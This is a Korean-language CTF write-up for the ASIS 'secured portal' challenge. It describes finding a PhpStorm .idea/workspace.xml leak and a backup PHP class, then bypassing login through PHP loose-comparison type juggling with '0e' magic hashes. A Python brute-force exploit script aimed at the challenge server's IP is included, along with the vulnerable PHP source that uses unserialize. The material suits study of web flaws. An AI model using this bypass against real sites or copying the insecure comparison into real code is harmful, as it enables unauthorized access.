asis - secured portal (0) -> object injection. 문제 아무것도 없어보이지만 function.js에 가보면 /authentication/login이라는 링크와 /panel/index라는 링크를 찾을 수 잇고 여기서 login string이라는 목표 공격대상을 찾을 수 있다. 그리고 문제에서 IDE와 function.js에서 phpstorm 을 사용했다는 힌트가 주어졌는데 많은 웹 프로그래머들이 IDE(integrated development environment)를 사용할떄 숨김 폴더를 만든다고 한다. phpstorm에서는 다음과 같은 IDE환경에 숨김 파일 흔적을 남기는데 , .idea/workspace.xml 이곳이다. 들어가보면 /backup/panel.class.php.bk를 찾을 수 있고 이 파일을 보면 login 정보를 get으로 object로 넘기는데 type confusion을 이용하여 우회 할 수 있다.
내용은 아래와 같은데 auth의 하위 32바이트를 세션 스트링으로 쓰는데 이를 '00000000...'으로 채워주고
이 세션 스트링을 md5($payload.$this->__sessionKey); 의 상위 6바이트와 '=='으로 비교하므로 이 md5값을 0e(숫자4개)로 맞춰주면 typeconfusion으로 참이 된다. session키의 값은 auth의 하위32바이트를 제외한 값을 base64_decode한 값으로 이에 맞게끔만 object를 짜주면 된다. md5더미는 serialized 배열에 배열 변수를 하나 더 만들어서 브루트포싱해준다.
아래는 다른사람 코드
import sys import base64 import string import requests URL = 'http://46.101.96.182/panel/index' SIG = '00000000000000000000000000000000' template = 'a:2:{s:6:"logged";b:1;s:3:"foo";s:%d:"%s";}' for c in string.letters + string.digits: for i in range(0, 500): OBJ = template % (i, c * i) r = requests.get(URL, params={'auth': base64.b64encode(OBJ) + SIG}) if not 'login required' in r.text: print('found collision') print(OBJ) print(base64.b64encode(OBJ)) sys.exit(0)
class panel extends main {
/**
* holds authentication status of the user
* @var boolean
*/
private $__auth;
/**
* holding database object
* @var object
*/
private $__db;
/**
* checking authentication string
*
* @param string object
*/
function __construct($db){
$this->__db = $db;
$sessionString = null;
/**
* gathering authentication string by auth parameter in HTTP request
*/
if(array_key_exists('auth', $_GET))
$sessionString = $_GET['auth'];
if(strlen($sessionString) > 32){
$signature = substr($sessionString, -32);
$payload = base64_decode(substr($sessionString, 0, -32));
/**
* real signature calculation based on the key
*/
$realSign = md5($payload.$this->__sessionKey);
/**
* making it impossible to login, if the site is under maintenance,
*/
if(__MAINTENANCE__===true)
$realSign = substr($realSign, 0, 6);
/**
* checking signature, prevent to data forgery by user
*/
if($realSign == $signature){
$this->data = unserialize($payload);
if(is_array($this->data)){
/**
* checking login status
*/
if($this->data['logged']===true){
$this->__auth = true;
}
}
}
}
}
/**
* index
*/
function index(){
if(!$this->__auth){
echo 'login required';
return false;
}
template('panel');
}
/**
* send http request to contact server, after the validity of message format is checked, we will look at messages in paper print
*/
function flag(){
if(!$this->__auth){
echo 'login required';
return false;
}
/*
* WOW, SEEMS THE FLAG IS HERE :)
*/
require 'includes/flag.php';
}
'CTF' 카테고리의 다른 글
| [codegate final]owner (0) | 2017.04.19 |
|---|---|
| [ASISctf] DLP (2) | 2017.04.13 |
| [asisctf]wandere bits (0) | 2017.04.12 |
| [asisctf]start hard (0) | 2017.04.12 |
| [VolgaCTF]guessing_game 200pt (8) | 2017.03.25 |